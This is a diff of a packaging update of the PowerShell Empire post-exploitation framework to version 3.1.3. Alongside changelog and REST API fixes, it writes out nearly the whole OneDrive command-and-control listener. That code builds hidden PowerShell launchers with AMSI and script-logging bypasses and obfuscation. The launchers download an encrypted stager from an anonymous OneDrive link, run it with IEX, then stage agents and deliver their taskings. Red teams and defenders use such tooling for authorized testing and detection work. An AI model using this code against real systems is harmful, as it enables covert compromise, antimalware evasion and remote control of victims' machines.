Codebase list powershell-empire / 71a2ce5
New upstream version 3.1.3 Sophie Brun 4 years ago
8 changed file(s) with 272 addition(s) and 211 deletion(s). Raw diff Collapse all Expand all
2323
2424 Keep up-to-date on our blog at [https://www.bc-security.org/blog][7]
2525
26 Check out the Empire GUI: [Starkiller](https://github.com/BC-SECURITY/Starkiller)
2627 # Empire
2728 Empire 3.1 is a post-exploitation framework that includes a pure-PowerShell 2.0 Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.
2829
0 3.1.2
0 3.1.3
0 3/22/2020
1 ------------
2 - Version 3.1.3 Master Release
3 - Fixed errors with OneDrive listener - #40 (@Cx01N)
4 - Fixed REST API get config error - #131 (@chenxiangfang)
5 - Increased timer for stale agent checkins - #130 (@C01N)
6
07 3/13/2020
18 ------------
29 - Version 3.1.2 Master Release
260260 """
261261 Returns JSON of the current Empire config.
262262 """
263 configRaw = execute_db_query(conn, 'SELECT staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token FROM config')
264
265 [staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token] = configRaw[0]
266 config = [{"api_password":api_password, "api_username":api_username, "autorun_command":autorun_command, "autorun_data":autorun_data, "current_api_token":api_current_token, "install_path":install_path, "ip_blacklist":ip_blacklist, "ip_whitelist":ip_whitelist, "staging_key":staging_key, "version":empire.VERSION}]
267
263 api_username = g.user['username']
264 api_current_token = g.user['api_token']
265 configRaw = execute_db_query(conn, 'SELECT staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser FROM config')
266
267 [staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser] = configRaw[0]
268 config = [{"api_username":api_username, "autorun_command":autorun_command, "autorun_data":autorun_data, "current_api_token":api_current_token, "install_path":install_path, "ip_blacklist":ip_blacklist, "ip_whitelist":ip_whitelist, "staging_key":staging_key, "version":empire.VERSION}]
268269 return jsonify({'config': config})
269270
270271
13031303 'message': message
13041304 })
13051305 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1306
13071306 nonce = helpers.random_string(16, charset=string.digits)
13081307 delay = listenerOptions['DefaultDelay']['Value']
13091308 jitter = listenerOptions['DefaultJitter']['Value']
1414 from builtins import str
1515 from builtins import range
1616
17 VERSION = "3.1.2 BC-Security Fork"
17 VERSION = "3.1.3 BC-Security Fork"
1818
1919 from pydispatch import dispatcher
2020
757757 """
758758 try:
759759 delta = datetime.now() - datetime.strptime(stamp, "%Y-%m-%d %H:%M:%S")
760 if delta.seconds > delay * (jitter + 1) * 5:
760
761 # Set min threshold for delay/jitter
762 if delay < 1:
763 delay = 1
764 if jitter < 1:
765 jitter = 1
766
767 if delta.seconds > delay * (jitter + 1) * 7:
761768 return color(stamp, "red")
762 elif delta.seconds > delay * (jitter + 1):
769 elif delta.seconds > delay * (jitter + 1) * 3:
763770 return color(stamp, "yellow")
764771 else:
765772 return color(stamp, "green")
1313 from pydispatch import dispatcher
1414 from requests import Request, Session
1515
16 #Empire imports
16 # Empire imports
1717 from lib.common import helpers
1818 from lib.common import agents
1919 from lib.common import encryption
2121 from lib.common import messages
2222 from lib.common import bypasses
2323
24
2425 class Listener(object):
2526 def __init__(self, mainMenu, params=[]):
2627 self.info = {
27 'Name': 'Onedrive',
28 'Author': ['@mr64bit'],
29 'Description': ('Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'),
30 'Category': ('third_party'),
31 'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"]
32 }
28 'Name': 'Onedrive',
29 'Author': ['@mr64bit'],
30 'Description': (
31 'Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'),
32 'Category': ('third_party'),
33 'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"]
34 }
3335
3436 self.options = {
35 'Name' : {
36 'Description' : 'Name for the listener.',
37 'Required' : True,
38 'Value' : 'onedrive'
39 },
40 'ClientID' : {
41 'Description' : 'Application ID of the OAuth App.',
42 'Required' : True,
43 'Value' : ''
44 },
45 'ClientSecret' : {
46 'Description' : 'Client secret of the OAuth App.',
47 'Required' : True,
48 'Value' : ''
49 },
50 'AuthCode' : {
51 'Description' : 'Auth code given after authenticating OAuth App.',
52 'Required' : True,
53 'Value' : ''
54 },
55 'BaseFolder' : {
56 'Description' : 'The base Onedrive folder to use for comms.',
57 'Required' : True,
58 'Value' : 'empire'
59 },
60 'StagingFolder' : {
61 'Description' : 'The nested Onedrive staging folder.',
62 'Required' : True,
63 'Value' : 'staging'
64 },
65 'TaskingsFolder' : {
66 'Description' : 'The nested Onedrive taskings folder.',
67 'Required' : True,
68 'Value' : 'taskings'
69 },
70 'ResultsFolder' : {
71 'Description' : 'The nested Onedrive results folder.',
72 'Required' : True,
73 'Value' : 'results'
74 },
75 'Launcher' : {
76 'Description' : 'Launcher string.',
77 'Required' : True,
78 'Value' : 'powershell -noP -sta -w 1 -enc '
79 },
80 'StagingKey' : {
81 'Description' : 'Staging key for intial agent negotiation.',
82 'Required' : True,
83 'Value' : 'asdf'
84 },
85 'PollInterval' : {
86 'Description' : 'Polling interval (in seconds) to communicate with Onedrive.',
87 'Required' : True,
88 'Value' : '5'
89 },
90 'DefaultDelay' : {
91 'Description' : 'Agent delay/reach back interval (in seconds).',
92 'Required' : True,
93 'Value' : 60
94 },
95 'DefaultJitter' : {
96 'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
97 'Required' : True,
98 'Value' : 0.0
99 },
100 'DefaultLostLimit' : {
101 'Description' : 'Number of missed checkins before exiting',
102 'Required' : True,
103 'Value' : 10
104 },
105 'DefaultProfile' : {
106 'Description' : 'Default communication profile for the agent.',
107 'Required' : True,
108 'Value' : "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
109 },
110 'KillDate' : {
111 'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
112 'Required' : False,
113 'Value' : ''
114 },
115 'WorkingHours' : {
116 'Description' : 'Hours for the agent to operate (09:00-17:00).',
117 'Required' : False,
118 'Value' : ''
119 },
120 'RefreshToken' : {
121 'Description' : 'Refresh token used to refresh the auth token',
122 'Required' : False,
123 'Value' : ''
124 },
125 'RedirectURI' : {
126 'Description' : 'Redirect URI of the registered application',
127 'Required' : True,
128 'Value' : "https://login.live.com/oauth20_desktop.srf"
129 },
130 'SlackToken' : {
131 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
132 'Required' : False,
133 'Value' : ''
134 },
135 'SlackChannel' : {
136 'Description' : 'The Slack channel or DM that notifications will be sent to.',
137 'Required' : False,
138 'Value' : '#general'
37 'Name': {
38 'Description': 'Name for the listener.',
39 'Required': True,
40 'Value': 'onedrive'
41 },
42 'ClientID': {
43 'Description': 'Application ID of the OAuth App.',
44 'Required': True,
45 'Value': ''
46 },
47 'ClientSecret': {
48 'Description': 'Client secret of the OAuth App.',
49 'Required': True,
50 'Value': ''
51 },
52 'AuthCode': {
53 'Description': 'Auth code given after authenticating OAuth App.',
54 'Required': True,
55 'Value': ''
56 },
57 'BaseFolder': {
58 'Description': 'The base Onedrive folder to use for comms.',
59 'Required': True,
60 'Value': 'empire'
61 },
62 'StagingFolder': {
63 'Description': 'The nested Onedrive staging folder.',
64 'Required': True,
65 'Value': 'staging'
66 },
67 'TaskingsFolder': {
68 'Description': 'The nested Onedrive taskings folder.',
69 'Required': True,
70 'Value': 'taskings'
71 },
72 'ResultsFolder': {
73 'Description': 'The nested Onedrive results folder.',
74 'Required': True,
75 'Value': 'results'
76 },
77 'Launcher': {
78 'Description': 'Launcher string.',
79 'Required': True,
80 'Value': 'powershell -noP -sta -w 1 -enc '
81 },
82 'StagingKey': {
83 'Description': 'Staging key for intial agent negotiation.',
84 'Required': True,
85 'Value': 'asdf'
86 },
87 'PollInterval': {
88 'Description': 'Polling interval (in seconds) to communicate with Onedrive.',
89 'Required': True,
90 'Value': '5'
91 },
92 'DefaultDelay': {
93 'Description': 'Agent delay/reach back interval (in seconds).',
94 'Required': True,
95 'Value': 10
96 },
97 'DefaultJitter': {
98 'Description': 'Jitter in agent reachback interval (0.0-1.0).',
99 'Required': True,
100 'Value': 0.0
101 },
102 'DefaultLostLimit': {
103 'Description': 'Number of missed checkins before exiting',
104 'Required': True,
105 'Value': 10
106 },
107 'DefaultProfile': {
108 'Description': 'Default communication profile for the agent.',
109 'Required': True,
110 'Value': "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
111 },
112 'KillDate': {
113 'Description': 'Date for the listener to exit (MM/dd/yyyy).',
114 'Required': False,
115 'Value': ''
116 },
117 'WorkingHours': {
118 'Description': 'Hours for the agent to operate (09:00-17:00).',
119 'Required': False,
120 'Value': ''
121 },
122 'RefreshToken': {
123 'Description': 'Refresh token used to refresh the auth token',
124 'Required': False,
125 'Value': ''
126 },
127 'RedirectURI': {
128 'Description': 'Redirect URI of the registered application',
129 'Required': True,
130 'Value': "https://login.live.com/oauth20_desktop.srf"
131 },
132 'SlackToken': {
133 'Description': 'Your SlackBot API token to communicate with your Slack instance.',
134 'Required': False,
135 'Value': ''
136 },
137 'SlackChannel': {
138 'Description': 'The Slack channel or DM that notifications will be sent to.',
139 'Required': False,
140 'Value': '#general'
139141 }
140142 }
141143
151153
152154 self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
153155
154 #If we don't have an OAuth code yet, give the user a URL to get it
155 if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
156 # If we don't have an OAuth code yet, give the user a URL to get it
157 if (str(self.options['RefreshToken']['Value']).strip() == '') and (
158 str(self.options['AuthCode']['Value']).strip() == ''):
156159 if (str(self.options['ClientID']['Value']).strip() == ''):
157160 print(helpers.color("[!] ClientID needed to generate AuthCode URL!"))
158161 return False
160163 'response_type': 'code',
161164 'redirect_uri': self.options['RedirectURI']['Value'],
162165 'scope': 'files.readwrite offline_access'}
163 req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params)
166 req = Request('GET', 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params=params)
164167 prep = req.prepare()
165168 print(helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url))
166169 return False
172175
173176 return True
174177
175 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
178 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default',
179 proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='',
180 listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
176181 if not language:
177182 print(helpers.color("[!] listeners/onedrive generate_launcher(): No language specified"))
178183
179 if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
184 if listenerName and (listenerName in self.threads) and (
185 listenerName in self.mainMenu.listeners.activeListeners):
180186 listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options']
181187 staging_key = listener_options['StagingKey']['Value']
182188 profile = listener_options['DefaultProfile']['Value']
189195 results_folder = listener_options['ResultsFolder']['Value']
190196
191197 if language.startswith("power"):
192 launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging
198 launcher = "$ErrorActionPreference = 'SilentlyContinue';" # Set as empty string for debugging
193199
194200 if safeChecks.lower() == 'true':
195201 launcher = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
203209 if AMSIBypass2:
204210 launcher += bypasses.AMSIBypass2()
205211 launcher += "};"
206 launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
212 launcher += helpers.randomize_capitalization(
213 "[System.Net.ServicePointManager]::Expect100Continue=0;")
207214
208215 launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;")
209216
219226
220227 if proxy.lower() != 'none':
221228 if proxy.lower() == 'default':
222 launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
229 launcher += helpers.randomize_capitalization(
230 "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
223231 else:
224232 launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
225 launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
233 launcher += helpers.randomize_capitalization("$proxy.Address = '" + proxy.lower() + "';")
226234 launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
227235 if proxyCreds.lower() == "default":
228 launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
236 launcher += helpers.randomize_capitalization(
237 "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
229238 else:
230239 username = proxyCreds.split(":")[0]
231240 password = proxyCreds.split(":")[1]
232241 domain = username.split("\\")[0]
233242 usr = username.split("\\")[1]
234 launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
243 launcher += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
235244 launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
236245
237246 launcher += "$Script:Proxy = $wc.Proxy;"
241250 launcher += ("'%s');" % staging_key)
242251
243252 # this is the minimized RC4 launcher code from rc4.ps1
244 launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
253 launcher += helpers.randomize_capitalization(
254 '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
245255
246256 launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('")
247257 launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url']
250260 launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
251261
252262 if obfuscate:
253 launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand)
263 launcher = helpers.obfuscate(self.mainMenu.installPath, launcher,
264 obfuscationCommand=obfuscationCommand)
254265
255266 if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
256267 return helpers.powershell_launcher(launcher, launcher_cmd)
308319 return helpers.enc_powershell(randomized_stager)
309320 elif encrypt:
310321 RC4IV = os.urandom(4)
311 return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager)
322 staging_key = staging_key.encode('UTF-8')
323 return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8'))
312324 else:
313325 return randomized_stager
314326
315327 else:
316328 print(helpers.color("[!] Python agent not available for Onedrive"))
317329
318 def generate_comms(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None):
330 def generate_comms(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri,
331 language=None):
319332
320333 staging_key = listener_options['StagingKey']['Value']
321334 base_folder = listener_options['BaseFolder']['Value']
327340 return
328341
329342 if language.lower() == "powershell":
330 #Function to generate a WebClient object with the required headers
343 # Function to generate a WebClient object with the required headers
331344 token_manager = """
332345 $Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)};
333346 $script:GetWebClient = {
431444
432445 return token_manager + post_message + get_message
433446
434 def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None):
447 def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri,
448 language=None):
435449 """
436450 Generate the agent code
437451 """
447461 lost_limit = listener_options['DefaultLostLimit']['Value']
448462 working_hours = listener_options['WorkingHours']['Value']
449463 kill_date = listener_options['KillDate']['Value']
450 b64_default_response = base64.b64encode(self.default_response())
464 b64_default_response = base64.b64encode(self.default_response().encode('UTF-8'))
451465
452466 if language == 'powershell':
453467 f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
454468 agent_code = f.read()
455469 f.close()
456470
457 comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language)
471 comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token,
472 redirect_uri, language)
458473 agent_code = agent_code.replace("REPLACE_COMMS", comms_code)
459474
460475 agent_code = helpers.strip_powershell_comments(agent_code)
461476
462477 agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
463478 agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
464 agent_code = agent_code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
479 agent_code = agent_code.replace(
480 '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
481 "$Profile = \"" + str(profile) + "\"")
465482 agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit))
466 agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64_default_response+'"')
483 agent_code = agent_code.replace('$DefaultResponse = ""',
484 '$DefaultResponse = "' + b64_default_response.decode('UTF-8') + '"')
467485
468486 if kill_date != "":
469487 agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',")
487505 r_token['update'] = True
488506 return r_token
489507 except KeyError as e:
490 print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])))
508 print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (
509 r.status_code, r.json()['error_codes'], r.json()['error_description'])))
491510 raise
492511
493512 def renew_token(client_id, client_secret, refresh_token):
504523 r_token['update'] = True
505524 return r_token
506525 except KeyError as e:
507 print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])))
526 print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (
527 r.status_code, r.json()['error_codes'], r.json()['error_description'])))
508528 raise
509529
510530 def test_token(token):
527547 else:
528548 message = "[*] {} folder already exists".format(base_folder)
529549 signal = json.dumps({
530 'print' : True,
550 'print': True,
531551 'message': message
532552 })
533553 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
537557 if not (item_object.status_code == 200):
538558 print(helpers.color("[*] Creating %s/%s folder" % (base_folder, item)))
539559 params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item}
540 item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params)
560 item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']),
561 json=params)
541562 else:
542563 message = "[*] {}/{} already exists".format(base_folder, item)
543564 signal = json.dumps({
544 'print' : True,
565 'print': True,
545566 'message': message
546567 })
547568 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
548569
549570 def upload_launcher():
550 ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none')
551
552 r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
553 data=ps_launcher, headers={"Content-Type": "text/plain"})
571 ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False,
572 userAgent='none', proxy='none', proxyCreds='none')
573
574 r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
575 data=ps_launcher, headers={"Content-Type": "text/plain"})
554576
555577 if r.status_code == 201 or r.status_code == 200:
556578 item = r.json()
557579 r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
558 json={"scope": "anonymous", "type": "view"},
559 headers={"Content-Type": "application/json"})
580 json={"scope": "anonymous", "type": "view"},
581 headers={"Content-Type": "application/json"})
560582 launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
561583
562584 def upload_stager():
563 ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token'])
585 ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell',
586 token=token['access_token'])
564587 r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"),
565 data=ps_stager, headers={"Content-Type": "application/octet-stream"})
588 data=ps_stager, headers={"Content-Type": "application/octet-stream"})
566589 if r.status_code == 201 or r.status_code == 200:
567590 item = r.json()
568591 r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
569 json={"scope": "anonymous", "type": "view"},
570 headers={"Content-Type": "application/json"})
592 json={"scope": "anonymous", "type": "view"},
593 headers={"Content-Type": "application/json"})
571594 stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
572 #Different domain for some reason?
595 # Different domain for some reason?
573596 self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url
574597
575598 else:
576599 print(helpers.color("[!] Something went wrong uploading stager"))
577600 message = r.content
578601 signal = json.dumps({
579 'print' : True,
602 'print': True,
580603 'message': message
581604 })
582605 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
603626 token = renew_token(client_id, client_secret, refresh_token)
604627 message = "[*] Refreshed auth token"
605628 signal = json.dumps({
606 'print' : True,
629 'print': True,
607630 'message': message
608631 })
609632 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
611634 token = get_token(client_id, client_secret, auth_code)
612635 message = "[*] Got new auth token"
613636 signal = json.dumps({
614 'print' : True,
637 'print': True,
615638 'message': message
616639 })
617640 dispatcher.send(signal, sender="listeners/onedrive")
621644 setup_folders()
622645
623646 while True:
624 #Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
647 # Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
625648 try:
626649 if listener_name in list(self.mainMenu.listeners.activeListeners.keys()):
627650 upload_stager()
634657
635658 while True:
636659 time.sleep(int(poll_interval))
637 try: #Wrap the whole loop in a try/catch so one error won't kill the listener
638 if time.time() > token['expires_at']: #Get a new token if the current one has expired
660 try: # Wrap the whole loop in a try/catch so one error won't kill the listener
661 if time.time() > token['expires_at']: # Get a new token if the current one has expired
639662 token = renew_token(client_id, client_secret, token['refresh_token'])
640663 s.headers['Authorization'] = "Bearer " + token['access_token']
641664 message = "[*] Refreshed auth token"
642665 signal = json.dumps({
643 'print' : True,
666 'print': True,
644667 'message': message
645668 })
646669 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
647670 upload_stager()
648671 if token['update']:
649 self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken", token['refresh_token'])
672 self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken",
673 token['refresh_token'])
650674 token['update'] = False
651675
652676 search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder))
653 for item in search.json()['children']: #Iterate all items in the staging folder
677 for item in search.json()['children']: # Iterate all items in the staging folder
654678 try:
655679 reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name'])
656680 if not reg:
657681 continue
658682 agent_name, stage = reg.groups()
659 if stage == '1': #Download stage 1, upload stage 2
660 message = "[*] Downloading {}/{}/{} {}".format(base_folder, staging_folder, item['name'], item['size'])
683 if stage == '1': # Download stage 1, upload stage 2
684 message = "[*] Downloading {}/{}/{} {}".format(base_folder, staging_folder, item['name'],
685 item['size'])
661686 signal = json.dumps({
662687 'print': False,
663688 'message': message
664689 })
665690 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
666691 content = s.get(item['@microsoft.graph.downloadUrl']).content
667 lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
668 message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(return_val)))
669 signal = json.dumps({
670 'print': False,
671 'message': message
672 })
673 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
674 s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val)
692 lang, return_val = \
693 self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
694 message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(base_folder, staging_folder,
695 agent_name, str(len(return_val)))
696 signal = json.dumps({
697 'print': False,
698 'message': message
699 })
700 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
701 s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (
702 base_url, base_folder, staging_folder, agent_name), data=return_val)
675703 message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
676704 signal = json.dumps({
677705 'print': False,
680708 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
681709 s.delete("%s/drive/items/%s" % (base_url, item['id']))
682710
683 if stage == '3': #Download stage 3, upload stage 4 (full agent code)
684 message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size'])
711 if stage == '3': # Download stage 3, upload stage 4 (full agent code)
712 message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder,
713 item['name'], item['size'])
685714 signal = json.dumps({
686715 'print': False,
687716 'message': message
688717 })
689718 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
690719 content = s.get(item['@microsoft.graph.downloadUrl']).content
691 lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
720 lang, return_val = \
721 self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
692722
693723 session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
694 agent_token = renew_token(client_id, client_secret, token['refresh_token']) #Get auth and refresh tokens for the agent to use
695 agent_code = str(self.generate_agent(listener_options, client_id, client_secret, agent_token['access_token'],
696 agent_token['refresh_token'], redirect_uri, lang))
724 agent_token = renew_token(client_id, client_secret, token[
725 'refresh_token']) # Get auth and refresh tokens for the agent to use
726 agent_code = str(self.generate_agent(listener_options, client_id, client_secret,
727 agent_token['access_token'],
728 agent_token['refresh_token'], redirect_uri, lang))
697729 enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
698730
699 message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code)))
700 signal = json.dumps({
701 'print': False,
702 'message': message
703 })
704 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
705 s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
731 message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder,
732 agent_name, str(len(enc_code)))
733 signal = json.dumps({
734 'print': False,
735 'message': message
736 })
737 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
738 s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (
739 base_url, base_folder, staging_folder, agent_name), data=enc_code)
706740 message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
707741 signal = json.dumps({
708742 'print': False,
712746 s.delete("%s/drive/items/%s" % (base_url, item['id']))
713747
714748 except Exception as e:
715 print(helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name))
749 print(helpers.color(
750 "[!] Could not handle agent staging for listener %s, continuing" % listener_name))
716751 message = traceback.format_exc()
717752 signal = json.dumps({
718753 'print': False,
721756 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
722757
723758 agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
724 for agent_id in agent_ids: #Upload any tasks for the current agents
725 task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False)
759
760 for agent_id in agent_ids: # Upload any tasks for the current agents
761 if isinstance(agent_id,bytes):
762 agent_id = agent_id.decode('UTF-8')
763 task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key,
764 update_lastseen=True)
726765 if task_data:
727766 try:
728 r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id))
729 if r.status_code == 200: # If there's already something there, download and append the new data
767 r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (
768 base_url, base_folder, taskings_folder, agent_id))
769 if r.status_code == 200: # If there's already something there, download and append the new data
730770 task_data = r.content + task_data
731771
732772 message = "[*] Uploading agent tasks for {}, {} bytes".format(agent_id, str(len(task_data)))
735775 'message': message
736776 })
737777 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
738
739 r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data)
778
779 r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (
780 base_url, base_folder, taskings_folder, agent_id), data=task_data)
